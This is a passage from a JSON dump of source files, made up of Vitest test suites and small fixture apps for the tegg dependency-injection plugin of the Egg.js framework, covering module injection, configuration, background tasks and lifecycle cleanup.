    "content": "import assert from 'node:assert/strict';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport MainService from './fixtures/apps/access-level-check/modules/module-main/MainService.ts';\nimport { getAppBaseDir } from './utils.ts';\n\ndescribe('plugin/tegg/test/AccessLevelCheck.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getAppBaseDir('access-level-check'),\n    });\n    await app.ready();\n  });\n\n  it('invoke moduleMain fooService method', async () => {\n    await app\n      .httpRequest()\n      .get('/invokeFoo')\n      .expect(200)\n      .expect((ret) => {\n        assert(ret.body.ret, 'moduleMain-FooService-Method');\n      });\n  });\n\n  it('should work: private has some name', async () => {\n    await app.mockModuleContextScope(async (ctx) => {\n      const mainService = await ctx.getEggObject(MainService);\n      assert(mainService);\n      assert.equal(mainService.invokeFoo(), 'moduleMain-FooService-Method');\n    });\n  });\n\n  it('should work: public/private has some name', async () => {\n    await app.mockModuleContextScope(async (ctx) => {\n      const mainService = await ctx.getEggObject(MainService);\n      assert(mainService);\n      assert.equal(mainService.invokeBar(), 'moduleMain-BarService-Method');\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/BackgroundTask.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport fs from 'node:fs';\nimport path from 'node:path';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { BackgroundTaskHelper } from '@eggjs/tegg';\nimport { TimerUtil } from '@eggjs/tegg-common-util';\nimport { type EggContext, EggContextLifecycleUtil } from '@eggjs/tegg-runtime';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport { CountService } from './fixtures/apps/background-app/modules/multi-module-background/CountService.ts';\nimport { getAppBaseDir } from './utils.ts';\n\ndescribe('plugin/tegg/test/BackgroundTask.test.ts', () => {\n  const appDir = getAppBaseDir('background-app');\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: appDir,\n    });\n    await app.ready();\n  });\n\n  it('background task should work', async () => {\n    app.mockCsrf();\n    await app.httpRequest().get('/background').expect(200);\n\n    const countService = await app.getEggObject(CountService);\n    assert.equal(countService.count, 0);\n    await TimerUtil.sleep(1000);\n    assert.equal(countService.count, 1);\n  });\n\n  it('background timeout with humanize error info', async () => {\n    app.mockCsrf();\n    await app.httpRequest().get('/backgroudTimeout').expect(200);\n\n    await TimerUtil.sleep(7000);\n    const errorLog = fs.readFileSync(path.resolve(appDir, 'logs/egg-app/common-error.log'), 'utf-8');\n    assert(errorLog.includes('Can not read property `testObj` because egg ctx has been destroyed ['));\n  }, 10000);\n\n  it('should release', async () => {\n    let teggCtx: EggContext;\n    await app.mockModuleContextScope(async (ctx) => {\n      // teggCtx = ctx[TEGG_CONTEXT]\n      teggCtx = ctx.teggContext;\n      const backgroundTaskHelper = await ctx.getEggObject(BackgroundTaskHelper);\n      backgroundTaskHelper.run(async () => {\n        // do nothing\n      });\n    });\n    const lifecycleList = EggContextLifecycleUtil.getObjectLifecycleList(teggCtx!);\n    assert(lifecycleList.length === 0);\n  });\n\n  it('config should work', async () => {\n    await app.mockModuleContextScope(async (ctx) => {\n      const backgroundTaskHelper = await ctx.getEggObject(BackgroundTaskHelper);\n      assert(backgroundTaskHelper.timeout === Infinity);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/ConstructorModuleConfig.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport { Foo } from './fixtures/apps/constructor-module-config/modules/module-with-config/foo.ts';\nimport { getAppBaseDir } from './utils.ts';\n\ndescribe('plugin/tegg/test/ModuleConfig.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getAppBaseDir('constructor-module-config'),\n    });\n    await app.ready();\n  });\n\n  it('should work', async () => {\n    await app\n      .httpRequest()\n      .get('/config')\n      .expect(200)\n      .expect((res) => {\n        assert.deepStrictEqual(res.body, {\n          foo: 'bar',\n          bar: 'foo',\n        });\n      });\n  });\n\n  it('construct proxy should work', async () => {\n    const foo: Foo = await app.getEggObject(Foo);\n    foo.log();\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/DynamicInject.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport { getAppBaseDir } from './utils.ts';\n\ndescribe('plugin/tegg/test/DynamicInject.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getAppBaseDir('dynamic-inject-app'),\n    });\n    await app.ready();\n  });\n\n  it('dynamic inject should work', async () => {\n    app.mockCsrf();\n    const res = await app.httpRequest().get('/dynamicInject').expect(200);\n    assert.deepStrictEqual(res.body, [\n      'hello, foo(context:0)',\n      'hello, bar(context:0)',\n      'hello, foo(singleton:0)',\n      'hello, bar(singleton:0)',\n    ]);\n  });\n\n  it('singleton dynamic inject should work', async () => {\n    app.mockCsrf();\n    const res = await app.httpRequest().get('/singletonDynamicInject').expect(200);\n    assert.deepStrictEqual(res.body, ['hello, foo(singleton:1)', 'hello, bar(singleton:1)']);\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/EggCompatible.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport EggTypeService from './fixtures/apps/egg-app/modules/multi-module-service/EggTypeService.ts';\nimport TraceService from './fixtures/apps/egg-app/modules/multi-module-service/TraceService.ts';\nimport { getAppBaseDir } from './utils.ts';\n\ndescribe('plugin/tegg/test/EggCompatible.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getAppBaseDir('egg-app'),\n    });\n    await app.ready();\n  });\n\n  it('should work', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .post('/apps')\n      .send({\n        name: 'foo',\n        desc: 'mock-desc',\n      })\n      .expect(200)\n      .expect((res) => {\n        assert(res.body.success === true);\n        assert(res.body.traceId);\n      });\n    await app\n      .httpRequest()\n      .get('/apps?name=foo')\n      .expect(200)\n      .expect((res) => {\n        assert(res.body.traceId);\n        assert.deepStrictEqual(res.body.app, {\n          name: 'foo',\n          desc: 'mock-desc',\n        });\n      });\n  });\n\n  it('module api should work', async () => {\n    app.mockCsrf();\n    await app\n      .httpRequest()\n      .post('/apps')\n      .send({\n        name: 'foo',\n        desc: 'mock-desc',\n      })\n      .expect(200)\n      .expect((res) => {\n        assert(res.body.success === true);\n        assert(res.body.traceId);\n      });\n    await app\n      .httpRequest()\n      .get('/apps2?name=foo')\n      .expect(200)\n      .expect((res) => {\n        assert(res.body.traceId);\n        assert.deepStrictEqual(res.body.app, {\n          name: 'foo',\n          desc: 'mock-desc',\n        });\n      });\n  });\n\n  it('inject config should work', async () => {\n    await app.mockModuleContextScope(async () => {\n      const baseDir = app.module.multiModuleService.configService.getBaseDir();\n      assert(baseDir);\n\n      const runtimeConfig = app.module.multiModuleService.configService.getRuntimeConfig();\n      assert.deepEqual(runtimeConfig, {\n        baseDir: getAppBaseDir('egg-app'),\n        env: 'unittest',\n        name: 'egg-app',\n      });\n    });\n  });\n\n  it('inject user should work', async () => {\n    await app.mockModuleContextScope(\n      async () => {\n        const userName = app.module.multiModuleService.configService.getCurrentUserName();\n        assert(userName);\n      },\n      {\n        user: {\n          userName: 'mock_user',\n        },\n      },\n    );\n  });\n\n  it('custom logger should work', async () => {\n    await app.mockModuleContextScope(async (ctx) => {\n      await app.module.multiModuleService.customLoggerService.printLog();\n      await app.destroyModuleContext(ctx);\n    });\n  });\n\n  it('use singleton proto should work', async () => {\n    await app.module.multiModuleRepo.globalAppRepo.insertApp({\n      name: 'foo',\n      desc: 'desc',\n    });\n    const appInfo = await app.module.multiModuleRepo.globalAppRepo.findApp('foo');\n    assert.deepStrictEqual(appInfo, {\n      name: 'foo',\n      desc: 'desc',\n    });\n  });\n\n  it('module proxy cache should work', async () => {\n    await app.mockModuleContextScope(async () => {\n      const moduleMultiModuleService1 = app.module.multiModuleService;\n      const moduleMultiModuleService2 = app.module.multiModuleService;\n      assert(moduleMultiModuleService1 === moduleMultiModuleService2);\n    });\n  });\n\n  it('should load egg object with no side effect', async () => {\n    await app.mockModuleContextScope(async (ctx) => {\n      assert.equal(ctx.counter, 0);\n      assert.equal(ctx.counter, 1);\n    });\n  });\n\n  it('should support EggQualifier', async () => {\n    await app.mockModuleContextScope(async () => {\n      const eggTypeService = await app.getEggObject(EggTypeService);\n      const result = eggTypeService.testInject();\n      assert.deepStrictEqual(result, {\n        app: { from: 'app' },\n        ctx: { from: 'ctx' },\n      });\n    });\n  });\n\n  it('should support context property', async () => {\n    mm(app.context, 'tracer', {\n      traceId: 'mockTraceId',\n    });\n    await app.mockModuleContextScope(async () => {\n      const traceService: TraceService = await app.getEggObject(TraceService);\n      assert(traceService.getTraceId() === 'mockTraceId');\n    });\n    mm(app.context, 'tracer', {\n      traceId: 'mockTraceId2',\n    });\n    await app.mockModuleContextScope(async () => {\n      const traceService: TraceService = await app.getEggObject(TraceService);\n      console.log('id: ', traceService.getTraceId());\n      assert(traceService.getTraceId() === 'mockTraceId2');\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/Inject.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach, afterAll, beforeAll } from 'vitest';\n\nimport { BarService } from './fixtures/apps/optional-inject/app/modules/module-a/BarService.ts';\nimport { FooService } from './fixtures/apps/optional-inject/app/modules/module-a/FooService.ts';\nimport { BarConstructorService1 } from './fixtures/apps/same-name-singleton-and-context-proto/app/modules/module-bar/BarConstructorService1.ts';\nimport { BarConstructorService2 } from './fixtures/apps/same-name-singleton-and-context-proto/app/modules/module-bar/BarConstructorService2.ts';\nimport { BarService1 } from './fixtures/apps/same-name-singleton-and-context-proto/app/modules/module-bar/BarService1.ts';\nimport { BarService2 } from './fixtures/apps/same-name-singleton-and-context-proto/app/modules/module-bar/BarService2.ts';\nimport { getAppBaseDir } from './utils.ts';\n\ndescribe('plugin/tegg/test/Inject.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(async () => {\n    return mm.restore();\n  });\n\n  describe('optional', () => {\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getAppBaseDir('optional-inject'),\n      });\n      await app.ready();\n    });\n    afterAll(async () => {\n      await app.close();\n    });\n\n    it('should work with property', async () => {\n      const barService: BarService = await app.getEggObject(BarService);\n      const res = barService.bar();\n      assert.deepStrictEqual(res, {\n        nil1: 'Y',\n        nil2: 'Y',\n      });\n    });\n\n    it('should work with constructor', async () => {\n      const fooService: FooService = await app.getEggObject(FooService);\n      const res = fooService.foo();\n      assert.deepStrictEqual(res, {\n        nil1: 'Y',\n        nil2: 'Y',\n      });\n    });\n  });\n\n  describe('default initType qualifier', async () => {\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getAppBaseDir('same-name-singleton-and-context-proto'),\n      });\n      await app.ready();\n    });\n    afterAll(async () => {\n      await app.close();\n    });\n\n    it('should work with singletonProto', async () => {\n      await app.mockModuleContextScope(async () => {\n        const barService1: BarService1 = await app.getEggObject(BarService1);\n        assert.strictEqual(barService1.type(), 'singleton');\n      });\n    });\n\n    it('should work with contextProto', async () => {\n      await app.mockModuleContextScope(async () => {\n        const barService2: BarService2 = await app.getEggObject(BarService2);\n        assert.strictEqual(barService2.type(), 'context');\n      });\n    });\n\n    it('should work with singletonProto', async () => {\n      await app.mockModuleContextScope(async () => {\n        const barService1: BarConstructorService1 = await app.getEggObject(BarConstructorService1);\n        assert.strictEqual(barService1.type(), 'singleton');\n      });\n    });\n\n    it('should work with contextProto', async () => {\n      await app.mockModuleContextScope(async () => {\n        const barService2: BarConstructorService2 = await app.getEggObject(BarConstructorService2);\n        assert.strictEqual(barService2.type(), 'context');\n      });\n    });\n  });\n\n  describe('invalid inject', () => {\n    afterAll(async () => {\n      await app.close();\n    });\n\n    it('should throw error if no proto found', async () => {\n      app = mm.app({\n        baseDir: getAppBaseDir('invalid-inject'),\n      });\n      await assert.rejects(app.ready(), /EggPrototypeNotFound: Object doesNotExist not found in LOAD_UNIT:a/);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/ModuleConfig.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport { getAppBaseDir } from './utils.ts';\n\ndescribe('plugin/tegg/test/ModuleConfig.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getAppBaseDir('inject-module-config'),\n    });\n    await app.ready();\n  });\n\n  it('should work', async () => {\n    await app\n      .httpRequest()\n      .get('/config')\n      .expect(200)\n      .expect((res) => {\n        assert.deepStrictEqual(res.body, {\n          moduleConfigs: { features: { dynamic: { foo: 'bar', bar: 'foo' } } },\n          moduleConfig: { features: { dynamic: { foo: 'bar', bar: 'foo' } } },\n        });\n      });\n  });\n\n  it('should work with overwrite', async () => {\n    await app\n      .httpRequest()\n      .get('/overwrite_config')\n      .expect(200)\n      .expect((res) => {\n        assert.deepStrictEqual(res.body, {\n          moduleConfigs: {\n            features: { dynamic: { foo: 'bar', bar: 'overwrite foo' } },\n          },\n          moduleConfig: {\n            features: { dynamic: { foo: 'bar', bar: 'overwrite foo' } },\n          },\n        });\n      });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/MultiInstanceInjectMultiInstance.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport { App } from './fixtures/apps/app-multi-inject-multi/app/modules/app/App.ts';\nimport { App2 } from './fixtures/apps/app-multi-inject-multi/app/modules/app2/App.ts';\nimport { getAppBaseDir } from './utils.ts';\n\ndescribe('plugin/tegg/test/MultiInstanceInjectMultiInstance.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getAppBaseDir('app-multi-inject-multi'),\n    });\n    await app.ready();\n  });\n\n  it('dynamic inject should work', async () => {\n    const app2Instance: App2 = await app.getEggObject(App2);\n    const appInstance: App = await app.getEggObject(App);\n    const app2Secret = app2Instance.secret.getSecret('mock');\n    const appName = appInstance.bizManager.name;\n    const appSecret = appInstance.bizManager.secret;\n\n    assert.equal(app2Secret, 'mock233');\n    assert.equal(appName, 'foo');\n    assert.equal(appSecret, 'foo233');\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/NoModuleJson.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport { getAppBaseDir } from './utils.ts';\n\ndescribe('plugin/tegg/test/NoModuleJson.test.ts', () => {\n  let app: MockApplication;\n  const baseDir = getAppBaseDir('app-with-no-module-json');\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir,\n    });\n    await app.ready();\n  });\n\n  it('should work', async () => {\n    await app\n      .httpRequest()\n      .get('/config')\n      .expect(200)\n      .expect((res) => {\n        assert.equal(res.body.baseDir, baseDir);\n      });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/OptionalModule.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\n// import assert from 'node:assert/strict';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport { getAppBaseDir } from './utils.ts';\n// import { RootProto } from './fixtures/apps/optional-module/app/modules/root/Root.js';\n// import { UsedProto } from './fixtures/apps/optional-module/node_modules/used/Used.js';\n// import { UnusedProto } from './fixtures/apps/optional-module/node_modules/unused/Unused.js';\n\ndescribe.skip('plugin/tegg/test/OptionalModule.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getAppBaseDir('optional-module'),\n    });\n    await app.ready();\n  });\n\n  it('should work', async () => {\n    // await app.mockModuleContextScope(async ctx => {\n    //   const rootProto = await ctx.getEggObject(RootProto);\n    //   assert(rootProto);\n    //   const usedProto = await ctx.getEggObject(UsedProto);\n    //   assert(usedProto);\n    //   await assert.rejects(async () => {\n    //     await ctx.getEggObject(UnusedProto);\n    //   }, /can not get proto for clazz UnusedProto/);\n    // });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/OptionalPluginModule.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\n// import assert from 'node:assert/strict';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\n// import { UsedProto } from './fixtures/apps/plugin-module/node_modules/foo-plugin/Used.ts';\n\ndescribe.skip('plugin/tegg/test/OptionalPluginModule.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: 'apps/plugin-module',\n    });\n    await app.ready();\n  });\n\n  it('should work', async () => {\n    // await app.mockModuleContextScope(async ctx => {\n    //   const usedProto = await ctx.getEggObject(UsedProto);\n    //   assert(usedProto);\n    // });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/SameProtoName.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport { BarService } from './fixtures/apps/same-name-protos/app/modules/module-a/BarService.ts';\nimport { getAppBaseDir } from './utils.ts';\n\ndescribe('plugin/tegg/test/SameProtoName.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getAppBaseDir('same-name-protos'),\n    });\n    await app.ready();\n  });\n\n  it('should work', async () => {\n    await app.mockModuleContextScope(async (ctx) => {\n      const barService = await ctx.getEggObject(BarService);\n      assert(barService);\n      assert(barService.fooService);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/Subscription.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport AppService from './fixtures/apps/schedule-app/modules/multi-module-service/AppService.ts';\nimport { getAppBaseDir } from './utils.ts';\n\ndescribe('plugin/tegg/test/Subscription.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getAppBaseDir('schedule-app'),\n    });\n    await app.ready();\n  });\n\n  it('should work', async () => {\n    let called = false;\n    mm(AppService.prototype, 'findApp', () => {\n      called = true;\n    });\n    await app.runSchedule('foo');\n    assert(called);\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/app/extend/application-one-module.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport PersistenceService from '../../fixtures/apps/egg-app-simple/modules/multi-module-repo/PersistenceService.ts';\nimport { getAppBaseDir } from '../../utils.ts';\n\ndescribe('test/app/extend/application-one-module.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(async () => {\n    await mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getAppBaseDir('egg-app-simple'),\n    });\n    await app.ready();\n  });\n\n  describe('getEggObject', () => {\n    it('should work', async () => {\n      const persistenceService = await app.getEggObject(PersistenceService);\n      assert(persistenceService);\n      assert(persistenceService instanceof PersistenceService);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/app/extend/application.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport PersistenceService from '../../fixtures/apps/egg-app/modules/multi-module-repo/PersistenceService.ts';\nimport AppService from '../../fixtures/apps/egg-app/modules/multi-module-service/AppService.ts';\nimport ConfigService from '../../fixtures/apps/egg-app/modules/multi-module-service/ConfigService.ts';\nimport { getAppBaseDir } from '../../utils.ts';\n\ndescribe('test/app/extend/application.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(async () => {\n    await mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getAppBaseDir('egg-app'),\n    });\n    await app.ready();\n  });\n\n  describe('getEggObject', () => {\n    it('should work', async () => {\n      const configService = await app.getEggObject(ConfigService);\n      assert(configService);\n      assert(configService instanceof ConfigService);\n\n      const persistenceService = await app.getEggObject(PersistenceService);\n      assert(persistenceService);\n      assert(persistenceService instanceof PersistenceService);\n\n      await assert.rejects(() => {\n        return app.getEggObject(AppService);\n      }, /ctx is required/);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/app/extend/application.unittest.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport { getAppBaseDir } from '../../utils.ts';\n\ndescribe('test/app/extend/application.unittest.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getAppBaseDir('egg-app'),\n    });\n    await app.ready();\n  });\n\n  it('should work', async () => {\n    await app.mockModuleContextScope(async () => {\n      const traceId = await (app.module as any).multiModuleService.traceService.getTraceId();\n      assert(traceId);\n    });\n  });\n\n  it('should not call mockModuleContext twice', async () => {\n    const ctx = await app.mockModuleContext();\n    try {\n      await assert.rejects(app.mockModuleContext(), /should not call mockModuleContext twice./);\n    } finally {\n      await app.destroyModuleContext(ctx);\n    }\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/app/extend/context.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { TimerUtil } from '@eggjs/tegg-common-util';\nimport { describe, it, afterAll, afterEach, beforeAll } from 'vitest';\n\nimport { LONG_STACK_DELIMITER } from '../../../src/lib/run_in_background.ts';\nimport PersistenceService from '../../fixtures/apps/egg-app/modules/multi-module-repo/PersistenceService.ts';\nimport AppService from '../../fixtures/apps/egg-app/modules/multi-module-service/AppService.ts';\nimport { getAppBaseDir } from '../../utils.ts';\n\ndescribe('test/app/extend/context.test.ts', () => {\n  let app: MockApplication;\n\n  afterAll(async () => {\n    await app.close();\n  });\n\n  afterEach(() => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getAppBaseDir('egg-app'),\n    });\n    await app.ready();\n  });\n\n  describe('getEggObject', () => {\n    it('should work', async () => {\n      await app.mockModuleContextScope(async (ctx) => {\n        const appService = await ctx.getEggObject(AppService);\n        assert(appService instanceof AppService);\n\n        const persistenceService = await ctx.getEggObject(PersistenceService);\n        assert(persistenceService instanceof PersistenceService);\n      });\n    });\n  });\n\n  describe('getEggObjectFromName', () => {\n    it('should work', async () => {\n      await app.mockModuleContextScope(async (ctx) => {\n        const appService = await ctx.getEggObjectFromName('appService');\n        assert(appService instanceof AppService);\n\n        const persistenceService = await ctx.getEggObjectFromName('persistenceService');\n        assert(persistenceService instanceof PersistenceService);\n      });\n    });\n  });\n\n  describe('beginModuleScope', () => {\n    it('should be reentrant', async () => {\n      await app.mockModuleContextScope(async (ctx) => {\n        await ctx.beginModuleScope(async () => {\n          // ...do nothing\n        });\n        assert.equal((ctx.teggContext as any).destroyed, false);\n      });\n    });\n  });\n\n  describe('runInBackground', () => {\n    it('should notify background task helper', async () => {\n      let backgroundIsDone = false;\n      await app.mockModuleContextScope(async (ctx) => {\n        ctx.runInBackground(async () => {\n          await TimerUtil.sleep(100);\n          backgroundIsDone = true;\n        });\n      });\n      assert(backgroundIsDone);\n    });\n\n    it('recursive runInBackground should work', async () => {\n      let backgroundIsDone = false;\n      await app.mockModuleContextScope(async (ctx) => {\n        ctx.runInBackground(async () => {\n          await TimerUtil.sleep(100);\n          ctx.runInBackground(async () => {\n            await TimerUtil.sleep(100);\n            backgroundIsDone = true;\n          });\n        });\n      });\n      assert(backgroundIsDone);\n    });\n\n    it('stack should be continuous', async () => {\n      let backgroundError: Error | undefined;\n      app.on('error', (e) => {\n        backgroundError = e;\n      });\n      await app.mockModuleContextScope(async (ctx) => {\n        ctx.runInBackground(async () => {\n          throw new Error('background');\n        });\n        await TimerUtil.sleep(1000);\n      });\n      const stack = backgroundError?.stack ?? '';\n      const fileName = process.platform === 'win32' ? import.meta.filename.replaceAll('\\\\', '/') : import.meta.filename;\n      // background\n      // at ~/plugin/tegg/test/app/extend/context.test.ts:88:17\n      // at ~/plugin/tegg/test/app/extend/context.test.ts:82:21 (~/plugin/tegg/lib/run_in_background.ts:34:15)\n      // at ~/node_modules/egg/app/extend/context.js:232:49\n      // --------------------\n      //   at Object.runInBackground (~/plugin/tegg/lib/run_in_background.ts:27:23)\n      // at ~/plugin/tegg/test/app/extend/context.test.ts:87:13\n      // at ~/plugin/tegg/app/extend/application.unittest.ts:49:22\n      // at async Proxy.mockContextScope (~/node_modules/egg-mock/app/extend/application.js:81:12)\n      // at async Context.<anonymous> (~/plugin/tegg/test/app/extend/context.test.ts:86:7)\n      assert(stack.includes(fileName), `stack: ${stack} not includes '${fileName}'`);\n      assert(stack.includes(LONG_STACK_DELIMITER), `stack: ${stack} not includes '${LONG_STACK_DELIMITER}'`);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/close.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it } from 'vitest';\n\nimport { getAppBaseDir } from './utils.ts';\n\ndescribe('plugin/tegg/test/close.test.ts', () => {\n  it('should clean lifecycle hooks', async () => {\n    const app = mm.app({\n      baseDir: getAppBaseDir('close-test-app'),\n    });\n    await app.ready();\n    await app.close();\n\n    // console.log(app.loadUnitLifecycleUtil.getLifecycleList());\n    assert.equal(app.loadUnitLifecycleUtil.getLifecycleList().length, 0);\n    assert.equal(app.loadUnitInstanceLifecycleUtil.getLifecycleList().length, 0);\n    assert.equal(app.eggContextLifecycleUtil.getLifecycleList().length, 0);\n    assert.equal(app.eggPrototypeLifecycleUtil.getLifecycleList().length, 0);\n    assert.equal(app.eggObjectLifecycleUtil.getLifecycleList().length, 0);\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/app/controller/app.ts",
    "content": "import { Controller } from 'egg';\n\nimport MainService from '../../modules/module-main/MainService.js';\n\nexport default class App extends Controller {\n  async invokeFoo(): Promise<void> {\n    const mainService = await this.app.getEggObject<MainService>(MainService);\n    // const ret = await this.ctx.app.module.moduleMain.mainService.invokeFoo();\n    const ret = await mainService.invokeFoo();\n    this.ctx.body = {\n      ret,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/app/router.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application): void => {\n  app.router.get('/invokeFoo', app.controller.app.invokeFoo);\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/config/config.default.ts",
    "content": "export default {\n  keys: 'test key',\n};\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/config/module.json",
    "content": "[\n  {\n    \"path\": \"../modules/module-a\"\n  },\n  {\n    \"path\": \"../modules/module-main\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/tegg/test/fixtures/apps/access-level-check/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n  watcher: false,\n};\n"
  },
  {
